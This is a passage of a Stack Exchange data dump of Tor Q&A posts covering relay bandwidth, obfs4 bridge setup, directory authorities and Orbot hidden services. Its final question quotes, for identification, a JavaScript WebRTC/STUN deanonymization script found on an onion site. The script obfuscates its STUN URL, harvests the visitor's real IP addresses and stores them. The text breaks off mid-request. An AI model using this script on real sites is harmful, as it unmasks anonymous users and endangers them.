in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the attack gets more and more tricky to pull off and more and more easy to detect the more lists the malicious directory authorities would be making.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-07T21:56:31.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6356" PostTypeId="2" ParentId="6352" CreationDate="2015-03-07T22:24:37.390" Score="3" Body="&lt;p&gt;If it is local as you assume, option 3 is by far the most likely. Option 1 seems very unlikely, option two would mean that someone is simulating either your guard, middle and exit nodes or that your guard is simulating your middle and exit nodes, which is only possible if the keys of these relays are compromised (unlikely for an extended period of time). One idea for option 4 is that you're not using the real Tor client, that the Tor client has a bug that can be remotely exploited to execute code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's of course also possible that your guess is wrong and the attack isn't local but rather it is happening at the exit node or between exit node and your destination.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-07T22:24:37.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6357" PostTypeId="2" ParentId="6342" CreationDate="2015-03-07T22:31:15.390" Score="6" Body="&lt;p&gt;The Tor Project now &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#HowDoIDecide&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommends&lt;/a&gt; at least 250 kilobytes/second each way to keep the level of service at least somewhat sane for users. Providing less bandwidth than that is actually a net drain on resources inside the network, because information about all relays has to be transmitted to all clients, which adds up to surprising amounts of bandwidth. Also, it's plainly no fun to be on a relay that can't even serve a youtube video, and there is very little a relay with slow upload can do.&lt;/p&gt;&#xA;&lt;p&gt;It is a battle of privacy vs performance, see &lt;a href=&quot;https://blog.torproject.org/lifecycle-of-a-new-relay/#comment-34637&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/lifecycle-of-a-new-relay/#comment-34637&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="34010" LastEditDate="2022-04-23T22:10:47.073" LastActivityDate="2022-04-23T22:10:47.073" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6358" PostTypeId="2" ParentId="6339" CreationDate="2015-03-07T22:34:35.230" Score="2" Body="&lt;p&gt;Tor recently switched to providing bandwidth history in 4-hour intervals rather than 15-minute intervals. This caused a lot of the bandwidth displaying tools to have issues with displaying the histories. These issues should be raised on &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor's bug tracker&lt;/a&gt; for the individual components if they haven't been mentioned there already so they can be fixed individually. Depending on how well maintained each project is, the fix shouldn't take too long.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-07T22:34:35.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6359" PostTypeId="2" ParentId="6264" CreationDate="2015-03-07T22:38:48.170" Score="3" Body="&lt;p&gt;It is true in the current case, but the bandwidth authorities make a scarcity calculation which depending on result decides whether exit relays can be used as guards/middle relays. If exit bandwidth grows they might get used as guards again.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-07T22:51:02.773" LastActivityDate="2015-03-07T22:51:02.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6360" PostTypeId="2" ParentId="6352" CreationDate="2015-03-08T01:56:11.180" Score="3" Body="&lt;p&gt;Most likely the exit node operator (or someone on their network) is modifying your network traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://threatpost.com/researcher-finds-tor-exit-node-adding-malware-to-binaries/109008&quot; rel=&quot;nofollow&quot;&gt;http://threatpost.com/researcher-finds-tor-exit-node-adding-malware-to-binaries/109008&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not a common occurrence, IMO, it should be planned for. Try to use https or ssl/tls everywhere you can. &lt;/p&gt;&#xA;" OwnerUserId="6884" LastActivityDate="2015-03-08T01:56:11.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6361" PostTypeId="2" ParentId="4913" CreationDate="2015-03-08T08:17:22.257" Score="1" Body="&lt;p&gt;Looking at the votes for the individual directory authorities, it appears that gabelmoo and longclaw don't have Measured lines for your relay. moria1 and tor26 measure your node just fine. I worry that there's nothing you can do on your end to fix it, as it is a problem with the bandwidth authorities measurement code. I'm gabelmoo's operator and I'll try to fix it, but I have no idea about the inner workings of the bwauth code. Hopefully you'll be measured again within a day.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T08:17:22.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6362" PostTypeId="2" ParentId="6351" CreationDate="2015-03-08T09:00:14.583" Score="3" Body="&lt;p&gt;Tor is likely not the solution you're looking for, as most services that do geolocation to block users not in a certain country block anonymizers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor doesn't hide your IP address completely, Tor makes it appear that your IP address is that of the Tor exit node. This means that the service you're trying to access will also see the IP address of the Tor node.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T09:00:14.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6363" PostTypeId="2" ParentId="6351" CreationDate="2015-03-08T09:01:31.317" Score="1" Body="&lt;p&gt;First of all, there will be always an IP that's detected. Tor just hides &lt;em&gt;your&lt;/em&gt; IP and replaces it with that of the exit-node you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Tor's goal isn't what you're looking for, it's feasible to use it for your purposes, but it might require a bit more work than simply installing the Tor Browser Bundle in order to work consistently:&#xA;You either need to configure Tor to give you an exit-node of a certain country via the &lt;code&gt;ExitNodes&lt;/code&gt; command in Tor's configuration file (&lt;code&gt;torrc&lt;/code&gt;), or every time you start your Tor Browser you need to check if the site you want works, and if not, request a new identity until it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting up Tor is quite easy. You only need to download the Tor Browser Bundle &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="6869" LastActivityDate="2015-03-08T09:01:31.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6364" PostTypeId="2" ParentId="6321" CreationDate="2015-03-08T09:06:33.017" Score="2" Body="&lt;p&gt;Any reference to Vidalia that you can still find is a mistake, please either fix it by editing the Wiki or file a bug on &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;the bug Tracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T09:06:33.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6365" PostTypeId="2" ParentId="6319" CreationDate="2015-03-08T09:11:42.150" Score="2" Body="&lt;p&gt;If I understand your question right, you're wondering about the link protocol that relays use to talk to each other. This protocol ensures that relays establish exactly one connection to each other, not a new connection per circuit they carry. Doing it that way has two advantages. One is anonymity: Multiple circuits are multiplexed over such a connection between relays, meaning the attacker cannot easily learn which data belongs to which circuit. The other is just plain necessity: Making a new connection for each circuit would mean relays need to open way too many connections than the TCP protocol can handle, making it impossible to support a Tor network of current size.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T09:11:42.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6366" PostTypeId="2" ParentId="4846" CreationDate="2015-03-08T09:34:02.013" Score="1" Body="&lt;p&gt;This was &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-404-released&quot; rel=&quot;nofollow&quot;&gt;removed&lt;/a&gt; with Tor Browser 4.0.4. It was there accidentally.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T09:34:02.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6367" PostTypeId="2" ParentId="6310" CreationDate="2015-03-08T14:52:58.960" Score="1" Body="&lt;p&gt;It is very unlikely you will ever find an exit node in China. In theory, the ExitNodes feature can help with that, so putting 'cn' there was the right idea - but without any exit nodes actually running in China, that won't work correctly. It seems like Tor cannot help you achieve what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-08T14:52:58.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6368" PostTypeId="1" AcceptedAnswerId="6391" CreationDate="2015-03-08T18:55:12.397" Score="2" ViewCount="1163" Body="&lt;p&gt;I am trying to set up a hidden service on my android device but i am running into some problems. On the computer i set the hidden service directory and my keys are where they are supposed to be. Using Orbot, i don't have that option. There i a &quot;.Onion hostname&quot; area in the configuration but nothing is populating that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing something? Please let me know your thoughts if you have been able to launch hidden services successfully from Orbot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using kWS as the web server on the device and am getting an 'unable to read hidden service name' message. &lt;/p&gt;&#xA;" OwnerUserId="6748" LastEditorUserId="6748" LastEditDate="2015-03-08T20:10:57.553" LastActivityDate="2015-03-10T21:54:45.440" Title="Orbot Hidden Services" Tags="|tor-browser-bundle|configuration|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6369" PostTypeId="1" AcceptedAnswerId="6373" CreationDate="2015-03-09T06:18:13.683" Score="3" ViewCount="168" Body="&lt;p&gt;I just read a description on &lt;a href=&quot;https://metrics.torproject.org/userstats-relay-country.html?graph=userstats-relay-country&amp;amp;start=2011-09-09&amp;amp;end=2015-03-09&amp;amp;country=all&amp;amp;events=off&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics&lt;/a&gt; stating that: &quot;These estimates are derived from the number of directory requests counted on directory authorities and mirrors&quot;.&#xA;So my question is already stated above, but in more details: &quot;does a directory-request get counted twice if the download from mirrors also counted?&quot;&#xA;Because as far as I am aware, all Tor clients only know the Directory Authorities, which are hard-coded into TBB, and have no idea about mirrors (directory-caches). In other words, I imply that all direct users first request the whole consensus document from Directory Authorities, but not the mirrors. Later, Client maintains the validity of the document by frequently fetching only descriptors (from the mirrors) which have different hash-value from the one that they are processing. By this way, the clients do not need to talk to Directory Authorities a second time.&#xA;Please correct me if I imply something wrong.&#xA;Best regards. &lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2015-03-09T14:36:47.403" Title="Does all direct clients have to talk to Directory Authorities to fetch the consensus at the first step?" Tags="|client|consensus|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6370" PostTypeId="1" AcceptedAnswerId="6371" CreationDate="2015-03-09T11:55:43.603" Score="20" ViewCount="36762" Body="&lt;p&gt;I want to help censored users. How can I run an obfs4 (Pluggable Transport) bridge on a Debian-like GNU/Linux machine?&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2016-05-24T17:58:11.757" LastActivityDate="2019-08-08T15:31:17.610" Title="How to run an obfs4 bridge?" Tags="|censorship|pluggable-transports|obfsproxy|obfs4|obfs4proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6371" PostTypeId="2" ParentId="6370" CreationDate="2015-03-09T11:55:43.603" Score="19" Body="&lt;p&gt;The Tor Project's official guide &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/&quot; rel=&quot;noreferrer&quot;&gt;is available here&lt;/a&gt;. It has instructions on how to set up an obfs4 bridge for several platforms, including &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;noreferrer&quot;&gt;Debian and Ubuntu&lt;/a&gt;. Don't forget to make sure that your OR port &lt;em&gt;and&lt;/em&gt; your obfs4 port must be publicly reachable. Tor automatically tests its OR port but it currently (as of August 2019) does not test its obfs4 port. You can use &lt;a href=&quot;https://bridges.torproject.org/scan/&quot; rel=&quot;noreferrer&quot;&gt;this scanning tool&lt;/a&gt; to make sure that your obfs4 port is publicly reachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 0&lt;/strong&gt;: Follow &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;noreferrer&quot;&gt;this guide&lt;/a&gt; to setup the official package repository, and install Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Edit your &lt;code&gt;sources.list&lt;/code&gt; to add &lt;code&gt;obfs4proxy&lt;/code&gt; repository:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: you can skip this step if you're running Debian stable (jessie) or more recent.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org obfs4proxy main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Install &lt;code&gt;obfs4proxy&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Edit your &lt;code&gt;torrc&lt;/code&gt; config file, usually located at &lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Bridge config&#xA;RunAsDaemon 1&#xA;ORPort 9001&#xA;BridgeRelay 1&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ExtORPort auto&#xA;#set the Nickname and Contact info&#xA;ContactInfo &amp;lt;your-contact-info&amp;gt;&#xA;Nickname &amp;lt;pick-a-nickname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: Restart Tor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: Check the logs and confirm the &lt;code&gt;ORPort&lt;/code&gt; is reachable and the &lt;code&gt;obfs4proxy&lt;/code&gt; is working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo tail -F /var/log/tor/log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[notice] Registered server transport 'obfs4' at '[::]:46396'&#xA;[notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;[notice] Bootstrapped 100%: Done&#xA;[notice] Now checking whether ORPort &amp;lt;redacted&amp;gt;:9001 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;[notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastEditorUserId="88" LastEditDate="2019-08-08T15:31:17.610" LastActivityDate="2019-08-08T15:31:17.610" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="6372" PostTypeId="2" ParentId="4776" CreationDate="2015-03-09T12:37:07.767" Score="2" Body="&lt;p&gt;No and No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I think the question is irrelevant to the site, since it's not about Tor, the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm having a hard time picturing why Tor Project would need a 'secure-drop' instance. It's definitely not a news agency and 'secure-drop' isn't a messaging platform. Perhaps the question you want to ask is &quot;How to disclose a bug privately and securely with Tor developers&quot;? in that case, you can send a PGP encrypted email to one of the core developers from a pseudonym email account. &lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-03-09T12:37:07.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6373" PostTypeId="2" ParentId="6369" CreationDate="2015-03-09T14:36:47.403" Score="2" Body="&lt;p&gt;Every client that doesn't get its consensus from some other source (clients that use bridges get theirs from the bridge they connect to) will have to connect to the Directory Authorities once at first startup, and again if they're offline for a day or longer. Tor metrics should take this into account when calculating user numbers.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T14:36:47.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6374" PostTypeId="2" ParentId="6296" CreationDate="2015-03-09T14:55:06.680" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor metrics portal&lt;/a&gt; has historic information about consensuses. You could download the archive and search through them. You don't need Stem for that unless you want to verify the consensuses. I'd suggest just using grep instead of Python to check if a relay was in the consensus at a specific time.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T14:55:06.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6375" PostTypeId="2" ParentId="6271" CreationDate="2015-03-09T14:57:23.793" Score="4" Body="&lt;p&gt;I think you want to check out the configure option for tor2web mode, which should do pretty much what you want. No special second instance running a tor relay would be necessary&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T14:57:23.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6376" PostTypeId="2" ParentId="6257" CreationDate="2015-03-09T15:01:08.553" Score="3" Body="&lt;p&gt;This should not be acceptable, no. Tor does not leak information about circuit position in this way, and there's no need for it. Use an encryption scheme that doesn't change the size of the data you're transfering to prevent leaking this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you trying to write a compatible implementation of Tor in Java? If so, check out &lt;a href=&quot;https://gitweb.torproject.org/torspec&quot; rel=&quot;nofollow&quot;&gt;Tor's specification&lt;/a&gt; to make sure you have a chance.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T15:01:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6377" PostTypeId="1" CreationDate="2015-03-09T17:14:33.273" Score="2" ViewCount="864" Body="&lt;p&gt;I have a question about the difference between AdvOR (advanced onion router) and tor. When I use tor's new identity option, I only get a portion of the total amount of IPs on the tor network. Once those IPs are banned, I can no longer access a site using tor. However, with AdvOR (advanced onion router) I can use the new identity option and I suddenly have access to a lot more IP addresses than I normally get from the original tor browser. Does tor only give you a fixed number of new identities? Because on AdvOR, I have tor exit nodes which I never get through the standard tor browser. &lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="6888" LastEditDate="2015-03-09T17:26:43.587" LastActivityDate="2015-03-09T23:15:03.997" Title="New identity on tor vs advor" Tags="|tor-browser-bundle|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6378" PostTypeId="2" ParentId="6277" CreationDate="2015-03-09T22:12:01.330" Score="1" Body="&lt;p&gt;There isn't such an option currently. You may want to make the Tor Browser people aware of your suggestion by opening a request on &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor's bug tracker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T22:12:01.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6379" PostTypeId="2" ParentId="6377" CreationDate="2015-03-09T23:15:03.997" Score="1" Body="&lt;p&gt;Tor's path selection uses faster relays more often, which might give the impression that some exit relays are never chosen. It appears that AdvOR doesn't exhibit the same behaviour and thus chooses exits the regular Tor client would pick only very rarely with a higher frequency.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-09T23:15:03.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6380" PostTypeId="2" ParentId="4288" CreationDate="2015-03-10T08:55:28.773" Score="3" Body="&lt;p&gt;Today, Tor is moving away from looking like TLS, with pluggable transports being the solution for censored users. Tor is moving to using stronger cryptographic primitives so looking like a browser is no longer the goal. Detecting Tor relays not behind pluggable transports is relatively straightforward. One of the ways is doing what you describe.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-10T08:55:28.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6381" PostTypeId="2" ParentId="3678" CreationDate="2015-03-10T09:03:15.990" Score="1" Body="&lt;p&gt;A directory guard is a relay that your Tor client picked to download directory information from. Directory information is metadata about the Tor network - the list of relays (consensus), and descriptors for all the relays. This can be different from the relay you're using to make anonymized connections. The sentence is implying that this scheme I've described above hasn't been deployed.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-10T09:03:15.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6382" PostTypeId="2" ParentId="2102" CreationDate="2015-03-10T09:37:08.607" Score="3" Body="&lt;p&gt;I believe you're misunderstanding the term &quot;content policy&quot;. It is not about what kind of content is alloweed/welcome when using Tor or about censorship. Instead, it is a technical term that describes how content in browser tabs interacts with content from other tabs and windows. The Tor Project does not have a content policy.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastEditorUserId="6883" LastEditDate="2015-03-10T13:27:09.293" LastActivityDate="2015-03-10T13:27:09.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6383" PostTypeId="2" ParentId="2082" CreationDate="2015-03-10T09:50:31.567" Score="1" Body="&lt;p&gt;Every backport costs a significant amount of engineering time. It's not possible due to resource constraints to always track the latest, including libraries. Another point is that the more custom changes we make, the bigger the likelihood of introducing a bug becomes.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-10T09:50:31.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6384" PostTypeId="2" ParentId="6351" CreationDate="2015-03-10T10:26:29.383" Score="0" Body="&lt;p&gt;You don't need to hide your identity, in fact you're likely logging into your own account anyway. The better option is to use a VPN for what you're trying to achieve. This will allow you to appear as if you're in a certain country (many VPN services allow you to choose from a range of countries) so that you can use the account you need.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2015-03-10T10:26:29.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6386" PostTypeId="2" ParentId="6271" CreationDate="2015-03-10T11:52:16.023" Score="2" Body="&lt;p&gt;Seconded on tor2web mode.  When Tor 0.2.6.x comes out, see also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12844&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/12844&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for even better performance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can specify in advance what machine you want to be the Rendezvous Point. So the idea would be that you have two Tor instances, one relay and one client. Within the client's torrc you set the relay to be the Rendezvous Point. This is roughly equivalent to setting the Rendezvous Point to be yourself&lt;/p&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="9411" LastEditDate="2016-01-28T16:06:57.997" LastActivityDate="2016-01-28T16:06:57.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6387" PostTypeId="1" CreationDate="2015-03-10T14:59:40.393" Score="1" ViewCount="104" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lc3wx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I change this little icon? I couldn't find where they put them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using 0.2.12 version on my gentoo box.&lt;/p&gt;&#xA;" OwnerUserId="6898" LastEditorUserId="6898" LastEditDate="2015-03-10T15:06:27.823" LastActivityDate="2015-03-10T23:50:03.167" Title="Vidalia tray icon" Tags="|vidalia|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6388" PostTypeId="1" AcceptedAnswerId="6389" CreationDate="2015-03-10T17:17:15.507" Score="4" ViewCount="90" Body="&lt;p&gt;i was playing around with running a tor relay on several servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now that im finished i would like to get rid of the old relays wich still show up in atlas.&#xA;One of the relays is down for about 4 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a general downtime timeout and they disappear after some time or do i have to revoke the keys manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i have to revoke the keys how would i do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your support.&lt;/p&gt;&#xA;" OwnerUserId="6901" LastActivityDate="2015-03-10T18:32:33.707" Title="Atlas is still showing old relays" Tags="|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6389" PostTypeId="2" ParentId="6388" CreationDate="2015-03-10T18:32:33.707" Score="2" Body="&lt;p&gt;Information about relays is generally archived permanently. Atlas should show the relay as offline, but the archives will continue to be available.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-10T18:32:33.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6390" PostTypeId="2" ParentId="3290" CreationDate="2015-03-10T20:00:56.050" Score="1" Body="&lt;p&gt;This is not an issue and happens regularly with hidden services, less regularly but still often when accessing services on an unusual port and even less frequently during regular usage. It is nothing to be concerned about, your Tor client just decided it either needed a four-hop path because the fourth node wasn't chosen by itself or because extending a circuit was cheaper than building a new circuit from scratch.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-03-10T20:00:56.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6391" PostTypeId="2" ParentId="6368" CreationDate="2015-03-10T21:54:45.440" Score="1" Body="&lt;p&gt;you first need to enable hidden service put in the port number then resart orbot once you connected to tor go back to the settings and then there will be a .onion address generated.&lt;/p&gt;&#xA;" OwnerUserId="6902" LastActivityDate="2015-03-10T21:54:45.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6392" PostTypeId="1" CreationDate="2015-03-10T21:57:58.357" Score="1" ViewCount="749" Body="&lt;p&gt;I found this on a deepweb link. It looks like a bunch of random code, doesn't seem like it could do anything.. 7f7t73zmv3py5lfq.onion&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function log(msg) {&#xA;document.getElementsByTagName(&quot;pre&quot;)[0].textContent += &quot;\n&quot; + msg;&#xA;}&#xA;&#xA;function getIPs(callback){&#xA;var ip_dups = {};&#xA;&#xA;//compatibility for firefox and chrome&#xA;var RTCPeerConnection = window.RTCPeerConnection&#xA;|| window.mozRTCPeerConnection&#xA;|| window.webkitRTCPeerConnection;&#xA;if(!RTCPeerConnection) {&#xA;var iframe = document.createElement('iframe');&#xA;iframe.style.display = 'none';&#xA;document.body.appendChild(iframe);&#xA;var win = iframe.contentWindow;&#xA;window.RTCPeerConnection = win.RTCPeerConnection;&#xA;window.mozRTCPeerConnection = win.mozRTCPeerConnection;&#xA;window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;&#xA;RTCPeerConnection = window.RTCPeerConnection&#xA;|| window.mozRTCPeerConnection&#xA;|| window.webkitRTCPeerConnection;&#xA;}&#xA;var mediaConstraints = {&#xA;optional: [{RtpDataChannels: true}]&#xA;};&#xA;&#xA;var servers = undefined;&#xA;&#xA;if(window.webkitRTCPeerConnection)&#xA;servers = {iceServers: [{urls: &quot;\x73\x74\x75\x6e\x3a\x73\x74\x75\x6e\x2e\x73\x65\x72\x76\x69\x63\x65\x73\x2e\x6d\x6f\x7a\x69\x6c\x6c\x61\x2e\x63\x6f\x6d&quot;}]};&#xA;&#xA;//construct a new RTCPeerConnection&#xA;var pc = new RTCPeerConnection(servers, mediaConstraints);&#xA;&#xA;//listen for candidate events&#xA;pc.onicecandidate = function(ice){&#xA;//skip non-candidate events&#xA;if(ice.candidate){&#xA;//match just the IP address&#xA;var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/&#xA;var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];&#xA;&#xA;//remove duplicates&#xA;if(ip_dups[ip_addr] === undefined)&#xA;callback(ip_addr);&#xA;&#xA;ip_dups[ip_addr] = true;&#xA;}&#xA;};&#xA;&#xA;//create a bogus data channel&#xA;pc.createDataChannel(&quot;&quot;);&#xA;&#xA;//create an offer sdp&#xA;pc.createOffer(function(result){&#xA;//trigger the stun server request&#xA;log(&quot;[*] triggering stun deanonymization...&quot;);&#xA;pc.setLocalDescription(result, function(){}, function(){});&#xA;}, function(){});&#xA;}&#xA;&#xA;(function() {&#xA;var memory = localStorage.getItem(&quot;x&quot;);&#xA;var ips = memory ? JSON.parse(memory) : [];&#xA;&#xA;var learn = function(ip) {&#xA;if(ip &amp;amp;&amp;amp; ips.indexOf(ip) &amp;lt; 0) {&#xA;ips.push(ip);&#xA;localStorage.setItem(&quot;x&quot;, JSON.stringify(ips));&#xA;log(&quot;[+] learned ip: &quot; + ip);&#xA;}&#xA;};&#xA;&#xA;if(ips.length) {&#xA;log(&quot;[*] querying memorized ips...&quot;);&#xA;ips.forEach(function(ip) {&#xA;log(&quot;[+] found ip: &quot; + ip);&#xA;});&#xA;}&#xA;&#xA;try {&#xA;(function(cb) {&#xA;var xhr = new XMLHttpRequest();&#xA;xhr.onreadystatechange = function() {&#xA;if(xhr.readyState == 4) 